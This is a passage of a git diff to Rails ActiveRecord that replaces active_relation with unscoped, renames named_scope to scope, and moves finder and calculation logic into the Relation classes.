raise ActiveRecord::Rollback if !saved && autosave
saved
end
@@ -355,7 +355,7 @@ module ActiveRecord
if autosave && association.marked_for_destruction?
association.destroy
elsif autosave != false
- saved = association.save(!autosave) if association.new_record? || autosave
+ saved = association.save(:validate => !autosave) if association.new_record? || autosave
if association.updated?
association_id = association.send(reflection.options[:primary_key] || :id)
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index e84130f42e..06244d1132 100755
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -869,10 +869,9 @@ module ActiveRecord #:nodoc:
# # Update all books that match our conditions, but limit it to 5 ordered by date
# Book.update_all "author = 'David'", "title LIKE '%Rails%'", :order => 'created_at', :limit => 5
def update_all(updates, conditions = nil, options = {})
- relation = active_relation
+ relation = unscoped
relation = relation.where(conditions) if conditions
- relation = relation.where(type_condition) if finder_needs_type_condition?
relation = relation.limit(options[:limit]) if options[:limit].present?
relation = relation.order(options[:order]) if options[:order].present?
@@ -1389,7 +1388,7 @@ module ActiveRecord #:nodoc:
def reset_column_information
undefine_attribute_methods
@column_names = @columns = @columns_hash = @content_columns = @dynamic_methods_hash = @inheritance_column = nil
- @active_relation = @arel_engine = nil
+ @arel_engine = @unscoped = @arel_table = nil
end
def reset_column_information_and_inheritable_attributes_for_all_subclasses#:nodoc:
@@ -1502,12 +1501,13 @@ module ActiveRecord #:nodoc:
"(#{segments.join(') AND (')})" unless segments.empty?
end
- def active_relation
- @active_relation ||= Relation.new(self, arel_table)
+ def unscoped
+ @unscoped ||= Relation.new(self, arel_table)
+ finder_needs_type_condition? ? @unscoped.where(type_condition) : @unscoped
end
- def arel_table(table_name_alias = nil)
- Arel::Table.new(table_name, :as => table_name_alias, :engine => arel_engine)
+ def arel_table
+ @arel_table ||= Arel::Table.new(table_name, :engine => arel_engine)
end
def arel_engine
@@ -1563,24 +1563,7 @@ module ActiveRecord #:nodoc:
end
def construct_finder_arel(options = {}, scope = nil)
- validate_find_options(options)
-
- relation = active_relation.
- joins(options[:joins]).
- where(options[:conditions]).
- select(options[:select]).
- group(options[:group]).
- having(options[:having]).
- order(options[:order]).
- limit(options[:limit]).
- offset(options[:offset]).
- from(options[:from]).
- includes(options[:include])
-
- relation = relation.where(type_condition) if finder_needs_type_condition?
- relation = relation.lock(options[:lock]) if options[:lock].present?
- relation = relation.readonly(options[:readonly]) if options.has_key?(:readonly)
-
+ relation = unscoped.apply_finder_options(options)
relation = scope.merge(relation) if scope
relation
end
@@ -1600,14 +1583,9 @@ module ActiveRecord #:nodoc:
end
end
- # Merges includes so that the result is a valid +include+
- def merge_includes(first, second)
- (Array.wrap(first) + Array.wrap(second)).uniq
- end
-
def build_association_joins(joins)
join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(self, joins, nil)
- relation = active_relation.table
+ relation = unscoped.table
join_dependency.join_associations.map { |association|
if (association_relation = association.relation).is_a?(Array)
[Arel::InnerJoin.new(relation, association_relation.first, *association.association_join.first).joins(relation),
@@ -1746,10 +1724,10 @@ module ActiveRecord #:nodoc:
# class Article < ActiveRecord::Base
# def self.find_with_scope
# with_scope(:find => { :conditions => "blog_id = 1", :limit => 1 }, :create => { :blog_id => 1 }) do
- # with_scope(:find => { :limit => 10 })
+ # with_scope(:find => { :limit => 10 }) do
# find(:all) # => SELECT * from articles WHERE blog_id = 1 LIMIT 10
# end
- # with_scope(:find => { :conditions => "author_id = 3" })
+ # with_scope(:find => { :conditions => "author_id = 3" }) do
# find(:all) # => SELECT * from articles WHERE blog_id = 1 AND author_id = 3 LIMIT 1
# end
# end
@@ -1781,11 +1759,6 @@ module ActiveRecord #:nodoc:
end
method_scoping.assert_valid_keys([ :find, :create ])
-
- if f = method_scoping[:find]
- f.assert_valid_keys(VALID_FIND_OPTIONS)
- end
-
relation = construct_finder_arel(method_scoping[:find] || {})
if current_scoped_methods && current_scoped_methods.create_with_value && method_scoping[:create]
@@ -2047,13 +2020,6 @@ module ActiveRecord #:nodoc:
end
end
- VALID_FIND_OPTIONS = [ :conditions, :include, :joins, :limit, :offset,
- :order, :select, :readonly, :group, :having, :from, :lock ]
-
- def validate_find_options(options) #:nodoc:
- options.assert_valid_keys(VALID_FIND_OPTIONS)
- end
-
def encode_quoted_value(value) #:nodoc:
quoted_value = connection.quote(value)
quoted_value = "'#{quoted_value[1..-2].gsub(/\'/, "\\\\'")}'" if quoted_value.include?("\\\'") # (for ruby mode) "
@@ -2170,16 +2136,16 @@ module ActiveRecord #:nodoc:
end
# :call-seq:
- # save(perform_validation = true)
+ # save(options)
#
# Saves the model.
#
# If the model is new a record gets created in the database, otherwise
# the existing record gets updated.
#
- # If +perform_validation+ is true validations run. If any of them fail
- # the action is cancelled and +save+ returns +false+. If the flag is
- # false validations are bypassed altogether. See
+ # By default, save always run validations. If any of them fail the action
+ # is cancelled and +save+ returns +false+. However, if you supply
+ # :validate => false, validations are bypassed altogether. See
# ActiveRecord::Validations for more information.
#
# There's a series of callbacks associated with +save+. If any of the
@@ -2227,7 +2193,7 @@ module ActiveRecord #:nodoc:
# be made (since they can't be persisted).
def destroy
unless new_record?
- self.class.active_relation.where(self.class.active_relation[self.class.primary_key].eq(id)).delete_all
+ self.class.unscoped.where(self.class.arel_table[self.class.primary_key].eq(id)).delete_all
end
@destroyed = true
@@ -2254,7 +2220,7 @@ module ActiveRecord #:nodoc:
# in Base is replaced with this when the validations module is mixed in, which it is by default.
def update_attribute(name, value)
send(name.to_s + '=', value)
- save(false)
+ save(:validate => false)
end
# Updates all the attributes from the passed-in Hash and saves the record. If the object is invalid, the saving will
@@ -2514,7 +2480,7 @@ module ActiveRecord #:nodoc:
def update(attribute_names = @attributes.keys)
attributes_with_values = arel_attributes_values(false, false, attribute_names)
return 0 if attributes_with_values.empty?
- self.class.active_relation.where(self.class.active_relation[self.class.primary_key].eq(id)).update(attributes_with_values)
+ self.class.unscoped.where(self.class.arel_table[self.class.primary_key].eq(id)).update(attributes_with_values)
end
# Creates a record with values matching those of the instance attributes
@@ -2527,9 +2493,9 @@ module ActiveRecord #:nodoc:
attributes_values = arel_attributes_values
new_id = if attributes_values.empty?
- self.class.active_relation.insert connection.empty_insert_statement_value
+ self.class.unscoped.insert connection.empty_insert_statement_value
else
- self.class.active_relation.insert attributes_values
+ self.class.unscoped.insert attributes_values
end
self.id ||= new_id
@@ -2624,7 +2590,7 @@ module ActiveRecord #:nodoc:
if value && ((self.class.serialized_attributes.has_key?(name) && (value.acts_like?(:date) || value.acts_like?(:time))) || value.is_a?(Hash) || value.is_a?(Array))
value = value.to_yaml
end
- attrs[self.class.active_relation[name]] = value
+ attrs[self.class.arel_table[name]] = value
end
end
end
diff --git a/activerecord/lib/active_record/calculations.rb b/activerecord/lib/active_record/calculations.rb
index cd7bd185c5..fc6cb793ab 100644
--- a/activerecord/lib/active_record/calculations.rb
+++ b/activerecord/lib/active_record/calculations.rb
@@ -2,8 +2,6 @@ module ActiveRecord
module Calculations #:nodoc:
extend ActiveSupport::Concern
- CALCULATIONS_OPTIONS = [:conditions, :joins, :order, :select, :group, :having, :distinct, :limit, :offset, :include, :from]
-
module ClassMethods
# Count operates using three different approaches.
#
@@ -46,19 +44,19 @@ module ActiveRecord
def count(*args)
case args.size
when 0
- construct_calculation_arel({}, current_scoped_methods).count
+ construct_calculation_arel.count
when 1
if args[0].is_a?(Hash)
options = args[0]
distinct = options.has_key?(:distinct) ? options.delete(:distinct) : false
- construct_calculation_arel(options, current_scoped_methods).count(options[:select], :distinct => distinct)
+ construct_calculation_arel(options).count(options[:select], :distinct => distinct)
else
- construct_calculation_arel({}, current_scoped_methods).count(args[0])
+ construct_calculation_arel.count(args[0])
end
when 2
column_name, options = args
distinct = options.has_key?(:distinct) ? options.delete(:distinct) : false
- construct_calculation_arel(options, current_scoped_methods).count(column_name, :distinct => distinct)
+ construct_calculation_arel(options).count(column_name, :distinct => distinct)
else
raise ArgumentError, "Unexpected parameters passed to count(): #{args.inspect}"
end
@@ -141,87 +139,17 @@ module ActiveRecord
# Person.minimum(:age, :having => 'min(age) > 17', :group => :last_name) # Selects the minimum age for any family without any minors
# Person.sum("2 * age")
def calculate(operation, column_name, options = {})
- construct_calculation_arel(options, current_scoped_methods).calculate(operation, column_name, options.slice(:distinct))
+ construct_calculation_arel(options).calculate(operation, column_name, options.slice(:distinct))
rescue ThrowResult
0
end
private
- def validate_calculation_options(options = {})
- options.assert_valid_keys(CALCULATIONS_OPTIONS)
- end
-
- def construct_calculation_arel(options = {}, merge_with_relation = nil)
- validate_calculation_options(options)
- options = options.except(:distinct)
-
- includes = merge_includes(merge_with_relation ? merge_with_relation.includes_values : [], options[:include])
-
- if includes.any?
- merge_with_joins = merge_with_relation ? merge_with_relation.joins_values : []
- joins = (merge_with_joins + Array.wrap(options[:joins])).uniq
- join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(self, includes, construct_join(joins))
- construct_calculation_arel_with_included_associations(options, join_dependency, merge_with_relation)
- else
- relation = active_relation.
- joins(options[:joins]).
- where(options[:conditions]).
- order(options[:order]).
- limit(options[:limit]).
- offset(options[:offset]).
- group(options[:group]).
- having(options[:having])
-
- if merge_with_relation
- relation = merge_with_relation.except(:select, :order, :limit, :offset, :group, :from).merge(relation)
- else
- relation = relation.where(type_condition) if finder_needs_type_condition?
- end
-
- from = merge_with_relation.from_value if merge_with_relation && merge_with_relation.from_value.present?
- from = options[:from] if from.blank? && options[:from].present?
- relation = relation.from(from)
-
- select = options[:select].presence || (merge_with_relation ? merge_with_relation.select_values.join(", ") : nil)
- relation = relation.select(select)
-
- relation
- end
- end
-
- def construct_calculation_arel_with_included_associations(options, join_dependency, merge_with_relation = nil)
- relation = active_relation
- for association in join_dependency.join_associations
- relation = association.join_relation(relation)
- end
-
- if merge_with_relation
- relation.joins_values = (merge_with_relation.joins_values + relation.joins_values).uniq
- relation.where_values = merge_with_relation.where_values
-
- merge_limit = merge_with_relation.taken
- else
- relation = relation.where(type_condition) if finder_needs_type_condition?
- end
-
- relation = relation.joins(options[:joins]).
- select(column_aliases(join_dependency)).
- group(options[:group]).
- having(options[:having]).
- order(options[:order]).
- where(options[:conditions]).
- from(options[:from])
-
-
- if !using_limitable_reflections?(join_dependency.reflections) && (merge_limit || options[:limit])
- relation = relation.where(construct_arel_limited_ids_condition(options, join_dependency))
- end
-
- relation = relation.limit(options[:limit] || merge_limit) if using_limitable_reflections?(join_dependency.reflections)
-
- relation
- end
+ def construct_calculation_arel(options = {})
+ relation = scoped.apply_finder_options(options.except(:distinct))
+ (relation.eager_loading? || relation.includes_values.present?) ? relation.send(:construct_relation_for_association_calculations) : relation
+ end
end
end
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index aecde5848c..1128286f2b 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -291,7 +291,7 @@ module ActiveRecord
end
def deprecated_callback_method(symbol) #:nodoc:
- if respond_to?(symbol)
+ if respond_to?(symbol, true)
ActiveSupport::Deprecation.warn("Overwriting #{symbol} in your models has been deprecated, please use Base##{symbol} :method_name instead")
send(symbol)
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 5e8a01644d..520f3c8c0c 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -13,7 +13,6 @@ module ActiveRecord
module Format
ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
- NEW_ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(?:\.(\d+))?\z/
end
attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
@@ -168,11 +167,10 @@ module ActiveRecord
end
protected
- # Rational(123456, 1_000_000) -> 123456
- # The sec_fraction component returned by Date._parse is a Rational fraction of a second or nil
- # NB: This method is optimized for performance by immediately converting away from Rational.
+ # '0.123456' -> 123456
+ # '1.123456' -> 123456
def microseconds(time)
- ((time[:sec_fraction].to_f % 1) * 1_000_000).round
+ ((time[:sec_fraction].to_f % 1) * 1_000_000).to_i
end
def new_date(year, mon, mday)
@@ -196,8 +194,9 @@ module ActiveRecord
# Doesn't handle time zones.
def fast_string_to_time(string)
- if md = Format::NEW_ISO_DATETIME.match(string)
- new_time *md.to_a[1..7].map(&:to_i)
+ if string =~ Format::ISO_DATETIME
+ microsec = ($7.to_f * 1_000_000).to_i
+ new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
end
end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index adc675966a..79f70f07cd 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -335,7 +335,6 @@ end
# george:
# id: 1
# name: George the Monkey
-# pirate_id: 1
#
# ### in fruits.yml
#
@@ -370,8 +369,8 @@ end
# ### in monkeys.yml
#
# george:
+# id: 1
# name: George the Monkey
-# pirate: reginald
# fruits: apple, orange, grape
#
# ### in fruits.yml
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
index f9e538c586..9fcdabdb44 100644
--- a/activerecord/lib/active_record/locking/optimistic.rb
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -78,7 +78,7 @@ module ActiveRecord
attribute_names.uniq!
begin
- relation = self.class.active_relation
+ relation = self.class.unscoped
affected_rows = relation.where(
relation[self.class.primary_key].eq(quoted_id).and(
diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb
index aeeed24881..c059b2d18b 100644
--- a/activerecord/lib/active_record/migration.rb
+++ b/activerecord/lib/active_record/migration.rb
@@ -1,7 +1,8 @@
require 'active_support/core_ext/object/metaclass'
module ActiveRecord
- class IrreversibleMigration < ActiveRecordError#:nodoc:
+ # Exception that can be raised to stop migrations from going backwards.
+ class IrreversibleMigration < ActiveRecordError
end
class DuplicateMigrationVersionError < ActiveRecordError#:nodoc:
diff --git a/activerecord/lib/active_record/named_scope.rb b/activerecord/lib/active_record/named_scope.rb
index 47b69dec62..92030e5bfd 100644
--- a/activerecord/lib/active_record/named_scope.rb
+++ b/activerecord/lib/active_record/named_scope.rb
@@ -9,7 +9,7 @@ module ActiveRecord
module ClassMethods
# Returns a relation if invoked without any arguments.
#
- # posts = Post.scoped
+ # posts = Post.scoped
# posts.size # Fires "select count(*) from posts" and returns the count
# posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
#
@@ -24,15 +24,9 @@ module ActiveRecord
# You can define a scope that applies to all finders using ActiveRecord::Base.default_scope.
def scoped(options = {}, &block)
if options.present?
- Scope.new(self, options, &block)
+ Scope.init(self, options, &block)
else
- current_scope = current_scoped_methods
-
- unless current_scope
- finder_needs_type_condition? ? active_relation.where(type_condition) : active_relation.spawn
- else
- construct_finder_arel({}, current_scoped_methods)
- end
+ current_scoped_methods ? unscoped.merge(current_scoped_methods) : unscoped.spawn
end
end
@@ -44,11 +38,11 @@ module ActiveRecord
# such as <tt>:conditions => {:color => :red}, :select => 'shirts.*', :include => :washing_instructions</tt>.
#
# class Shirt < ActiveRecord::Base
- # named_scope :red, :conditions => {:color => 'red'}
- # named_scope :dry_clean_only, :joins => :washing_instructions, :conditions => ['washing_instructions.dry_clean_only = ?', true]
+ # scope :red, :conditions => {:color => 'red'}
+ # scope :dry_clean_only, :joins => :washing_instructions, :conditions => ['washing_instructions.dry_clean_only = ?', true]
# end
- #
- # The above calls to <tt>named_scope</tt> define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red,
+ #
+ # The above calls to <tt>scope</tt> define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red,
# in effect, represents the query <tt>Shirt.find(:all, :conditions => {:color => 'red'})</tt>.
#
# Unlike <tt>Shirt.find(...)</tt>, however, the object returned by Shirt.red is not an Array; it resembles the association object
@@ -74,7 +68,7 @@ module ActiveRecord
# Named \scopes can also be procedural:
#
# class Shirt < ActiveRecord::Base
- # named_scope :colored, lambda { |color|
+ # scope :colored, lambda { |color|
# { :conditions => { :color => color } }
# }
# end
@@ -84,7 +78,7 @@ module ActiveRecord
# Named \scopes can also have extensions, just as with <tt>has_many</tt> declarations:
#
# class Shirt < ActiveRecord::Base
- # named_scope :red, :conditions => {:color => 'red'} do
+ # scope :red, :conditions => {:color => 'red'} do
# def dom_id
# 'red_shirts'
# end
@@ -96,18 +90,23 @@ module ActiveRecord
# <tt>proxy_options</tt> method on the proxy itself.
#
# class Shirt < ActiveRecord::Base
- # named_scope :colored, lambda { |color|
+ # scope :colored, lambda { |color|
# { :conditions => { :color => color } }
# }
# end
#
# expected_options = { :conditions => { :colored => 'red' } }
# assert_equal expected_options, Shirt.colored('red').proxy_options
- def named_scope(name, options = {}, &block)
+ def scope(name, options = {}, &block)
name = name.to_sym
+
+ if !scopes[name] && respond_to?(name, true)
+ raise ArgumentError, "Cannot define scope :#{name} because #{self.name}.#{name} method already exists."
+ end
+
scopes[name] = lambda do |parent_scope, *args|
- Scope.new(parent_scope, case options
- when Hash
+ Scope.init(parent_scope, case options
+ when Hash, Relation
options
when Proc
options.call(*args)
@@ -119,104 +118,90 @@ module ActiveRecord
end
end
end
- end
- class Scope
- attr_reader :proxy_scope, :proxy_options, :current_scoped_methods_when_defined
- NON_DELEGATE_METHODS = %w(nil? send object_id class extend find size count sum average maximum minimum paginate first last empty? any? many? respond_to?).to_set
- [].methods.each do |m|
- unless m =~ /^__/ || NON_DELEGATE_METHODS.include?(m.to_s)
- delegate m, :to => :proxy_found
- end
+ def named_scope(*args, &block)
+ ActiveSupport::Deprecation.warn("Base.named_scope has been deprecated, please use Base.scope instead", caller)
+ scope(*args, &block)
end
+ end
- delegate :scopes, :with_scope, :scoped_methods, :to => :proxy_scope
+ class Scope < Relation
+ attr_accessor :current_scoped_methods_when_defined
- def initialize(proxy_scope, options, &block)
- options ||= {}
- [options[:extend]].flatten.each { |extension| extend extension } if options[:extend]
- extend Module.new(&block) if block_given?
- unless Scope === proxy_scope
- @current_scoped_methods_when_defined = proxy_scope.send(:current_scoped_methods)
- end
- @proxy_scope, @proxy_options = proxy_scope, options.except(:extend)
- end
+ delegate :scopes, :with_scope, :with_exclusive_scope, :scoped_methods, :scoped, :to => :klass
- def reload
- load_found; self
- end
+ def self.init(klass, options, &block)
+ relation = new(klass, klass.arel_table)
- def first(*args)
- if args.first.kind_of?(Integer) || (@found && !args.first.kind_of?(Hash))
- proxy_found.first(*args)
+ scope = if options.is_a?(Hash)
+ klass.scoped.apply_finder_options(options.except(:extend))
else
- find(:first, *args)
+ options ? klass.scoped.merge(options) : klass.scoped
end
- end
- def last(*args)
- if args.first.kind_of?(Integer) || (@found && !args.first.kind_of?(Hash))
- proxy_found.last(*args)
- else
- find(:last, *args)
- end
- end
+ relation = relation.merge(scope)
- def size
- @found ? @found.length : count
- end
+ Array.wrap(options[:extend]).each {|extension| relation.send(:extend, extension) } if options.is_a?(Hash)
+ relation.send(:extend, Module.new(&block)) if block_given?
- def empty?
- @found ? @found.empty? : count.zero?
+ relation.current_scoped_methods_when_defined = klass.send(:current_scoped_methods)
+ relation
end
- def respond_to?(method, include_private = false)
- super || @proxy_scope.respond_to?(method, include_private)
+ def find(*args)
+ options = args.extract_options!
+ relation = options.present? ? apply_finder_options(options) : self
+
+ case args.first
+ when :first, :last, :all
+ relation.send(args.first)
+ else
+ options.present? ? relation.find(*args) : super
+ end
end
- def any?
- if block_given?
- proxy_found.any? { |*block_args| yield(*block_args) }
+ def first(*args)
+ if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash))
+ to_a.first(*args)
else
- !empty?
+ args.first.present? ? apply_finder_options(args.first).first : super
end
end
- # Returns true if the named scope has more than 1 matching record.
- def many?
- if block_given?
- proxy_found.many? { |*block_args| yield(*block_args) }
+ def last(*args)
+ if args.first.kind_of?(Integer) || (loaded? && !args.first.kind_of?(Hash))
+ to_a.last(*args)
else
- size > 1
+ args.first.present? ? apply_finder_options(args.first).last : super
end
end
- protected
- def proxy_found
- @found || load_found
+ def count(*args)
+ options = args.extract_options!
+ options.present? ? apply_finder_options(options).count(*args) : super
+ end
+
+ def ==(other)
+ to_a == other.to_a
end
private
+
def method_missing(method, *args, &block)
- if scopes.include?(method)
- scopes[method].call(self, *args)
- else
- with_scope({:find => proxy_options, :create => proxy_options[:conditions].is_a?(Hash) ? proxy_options[:conditions] : {}}, :reverse_merge) do
- method = :new if method == :build
- if current_scoped_methods_when_defined && !scoped_methods.include?(current_scoped_methods_when_defined)
- with_scope current_scoped_methods_when_defined do
- proxy_scope.send(method, *args, &block)
- end
+ if klass.respond_to?(method)
+ with_scope(self) do
+ if current_scoped_methods_when_defined && !scoped_methods.include?(current_scoped_methods_when_defined) && !scopes.include?(method)
+ with_scope(current_scoped_methods_when_defined) { klass.send(method, *args, &block) }
else
- proxy_scope.send(method, *args, &block)
+ klass.send(method, *args, &block)
end
end
+ else
+ super
end
end
- def load_found
- @found = find(:all)
- end
end
+
end
end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index f79a12a95c..d8fae495e7 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -49,14 +49,14 @@ module ActiveRecord
# create the member and avatar in one go:
#
# params = { :member => { :name => 'Jack', :avatar_attributes => { :icon => 'smiling' } } }
- # member = Member.create(params)
+ # member = Member.create(params[:member])
# member.avatar.id # => 2
# member.avatar.icon # => 'smiling'
#
# It also allows you to update the avatar through the member:
#
- # params = { :member' => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
- # member.update_attributes params['member']
+ # params = { :member => { :avatar_attributes => { :id => '2', :icon => 'sad' } } }
+ # member.update_attributes params[:member]
# member.avatar.icon # => 'sad'
#
# By default you will only be able to set and update attributes on the
@@ -75,7 +75,7 @@ module ActiveRecord
# member.avatar_attributes = { :id => '2', :_destroy => '1' }
# member.avatar.marked_for_destruction? # => true
# member.save
- # member.avatar #=> nil
+ # member.reload.avatar #=> nil
#
# Note that the model will _not_ be destroyed until the parent is saved.
#
@@ -179,7 +179,7 @@ module ActiveRecord
# member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
# member.posts.length #=> 2
# member.save
- # member.posts.length # => 1
+ # member.reload.posts.length # => 1
#
# === Saving
#
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index b39e064e45..88974dd786 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -428,7 +428,7 @@ namespace :db do
task :create => :environment do
raise "Task unavailable to this database (no migration support)" unless ActiveRecord::Base.connection.supports_migrations?
require 'rails/generators'
- require 'rails/generators/rails/session_migration/session_migration_generator'
+ require 'generators/rails/session_migration/session_migration_generator'
Rails::Generators::SessionMigrationGenerator.start [ ENV["MIGRATION"] || "add_sessions_table" ]
end
diff --git a/activerecord/lib/active_record/railties/subscriber.rb b/activerecord/lib/active_record/railties/subscriber.rb
index 7c2a10cf0f..fd873dbff8 100644
--- a/activerecord/lib/active_record/railties/subscriber.rb
+++ b/activerecord/lib/active_record/railties/subscriber.rb
@@ -12,7 +12,7 @@ module ActiveRecord
name = color(name, :magenta, true)
end
- debug "#{name} #{sql}"
+ debug " #{name} #{sql}"
end
def odd?
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index 85bf878416..19f91f4278 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -7,7 +7,7 @@ module ActiveRecord
include FinderMethods, CalculationMethods, SpawnMethods, QueryMethods
- delegate :length, :collect, :map, :each, :all?, :to => :to_a
+ delegate :length, :collect, :map, :each, :all?, :include?, :to => :to_a
attr_reader :table, :klass
@@ -20,6 +20,8 @@ module ActiveRecord
with_create_scope { @klass.new(*args, &block) }
end
+ alias build new
+
def create(*args, &block)
with_create_scope { @klass.create(*args, &block) }
end
@@ -43,33 +45,10 @@ module ActiveRecord
def to_a
return @records if loaded?
- find_with_associations = @eager_load_values.any? || (@includes_values.any? && references_eager_loaded_tables?)
-
- @records = if find_with_associations
- begin
- options = {
- :select => @select_values.any? ? @select_values.join(", ") : nil,
- :joins => arel.joins(arel),
- :group => @group_values.any? ? @group_values.join(", ") : nil,
- :order => order_clause,
- :conditions => where_clause,
- :limit => arel.taken,
- :offset => arel.skipped,
- :from => (arel.send(:from_clauses) if arel.send(:sources).present?)
- }
-
- including = (@eager_load_values + @includes_values).uniq
- join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(@klass, including, nil)
- @klass.send(:find_with_associations, options, join_dependency)
- rescue ThrowResult
- []
- end
- else
- @klass.find_by_sql(arel.to_sql)
- end
+ @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel.to_sql)
preload = @preload_values
- preload += @includes_values unless find_with_associations
+ preload += @includes_values unless eager_loading?
preload.each {|associations| @klass.send(:preload_associations, @records, associations) }
# @readonly_value is true only if set explicity. @implicit_readonly is true if there are JOINS and no explicit SELECT.
@@ -124,12 +103,14 @@ module ActiveRecord
end
def reload
- @loaded = false
reset
+ to_a # force reload
+ self
end
def reset
- @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = nil
+ @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
+ @should_eager_load = @join_dependency = nil
@records = []
self
end
@@ -151,6 +132,10 @@ module ActiveRecord
end
end
+ def eager_loading?
+ @should_eager_load ||= (@eager_load_values.any? || (@includes_values.any? && references_eager_loaded_tables?))
+ end
+
protected
def method_missing(method, *args, &block)
@@ -172,6 +157,8 @@ module ActiveRecord
end
end
+ private
+
def with_create_scope
@klass.send(:with_scope, :create => scope_for_create, :find => {}) { yield }
end
@@ -180,10 +167,6 @@ module ActiveRecord
arel.send(:where_clauses).join(join_string)
end
- def order_clause
- @order_clause ||= arel.send(:order_clauses).join(', ')
- end
-
def references_eager_loaded_tables?
joined_tables = (tables_in_string(arel.joins(arel)) + [table.name, table.table_alias]).compact.uniq
(tables_in_string(to_sql) - joined_tables).any?
diff --git a/activerecord/lib/active_record/relation/calculation_methods.rb b/activerecord/lib/active_record/relation/calculation_methods.rb
index 2477481ec8..91de89e607 100644
--- a/activerecord/lib/active_record/relation/calculation_methods.rb
+++ b/activerecord/lib/active_record/relation/calculation_methods.rb
@@ -53,7 +53,7 @@ module ActiveRecord
def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
column = if @klass.column_names.include?(column_name.to_s)
- Arel::Attribute.new(@klass.active_relation, column_name)
+ Arel::Attribute.new(@klass.unscoped, column_name)
else
Arel::SqlLiteral.new(column_name == :all ? "*" : column_name.to_s)
end
@@ -77,7 +77,7 @@ module ActiveRecord
select_statement = if operation == 'count' && column_name == :all
"COUNT(*) AS count_all"
else
- Arel::Attribute.new(@klass.active_relation, column_name).send(operation).as(aggregate_alias).to_sql
+ Arel::Attribute.new(@klass.unscoped, column_name).send(operation).as(aggregate_alias).to_sql
end
select_statement << ", #{group_field} AS #{group_alias}"
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 3668b0997f..c48c8fe828 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -44,6 +44,48 @@ module ActiveRecord
protected
+ def find_with_associations
+ including = (@eager_load_values + @includes_values).uniq
+ join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(@klass, including, nil)
+ rows = construct_relation_for_association_find(join_dependency).to_a
+ join_dependency.instantiate(rows)
+ rescue ThrowResult
+ []
+ end
+
+ def construct_relation_for_association_calculations
+ including = (@eager_load_values + @includes_values).uniq
+ join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(@klass, including, arel.joins(arel))
+ construct_relation_for_association_find(join_dependency)
+ end
+
+ def construct_relation_for_association_find(join_dependency)
+ relation = except(:includes, :eager_load, :preload, :select).select(@klass.send(:column_aliases, join_dependency))
+
+ for association in join_dependency.join_associations
+ relation = association.join_relation(relation)
+ end
+
+ limitable_reflections = @klass.send(:using_limitable_reflections?, join_dependency.reflections)
+
+ if !limitable_reflections && relation.limit_value
+ limited_id_condition = construct_limited_ids_condition(relation.except(:select))
+ relation = relation.where(limited_id_condition)
+ end
+
+ relation = relation.except(:limit, :offset) unless limitable_reflections
+
+ relation
+ end
+
+ def construct_limited_ids_condition(relation)
+ orders = relation.order_values.join(", ")
+ values = @klass.connection.distinct("#{@klass.connection.quote_table_name @klass.table_name}.#{@klass.primary_key}", orders)
+
+ ids_array = relation.select(values).collect {|row| row[@klass.primary_key]}
+ ids_array.empty? ? raise(ThrowResult) : primary_key.in(ids_array)
+ end
+
def find_by_attributes(match, attributes, *args)
conditions = attributes.inject({}) {|h, a| h[a] = args[attributes.index(a)]; h}
result = where(conditions).send(match.finder)
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index 6b7d941350..9e855209f9 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -24,7 +24,8 @@ module ActiveRecord
case value
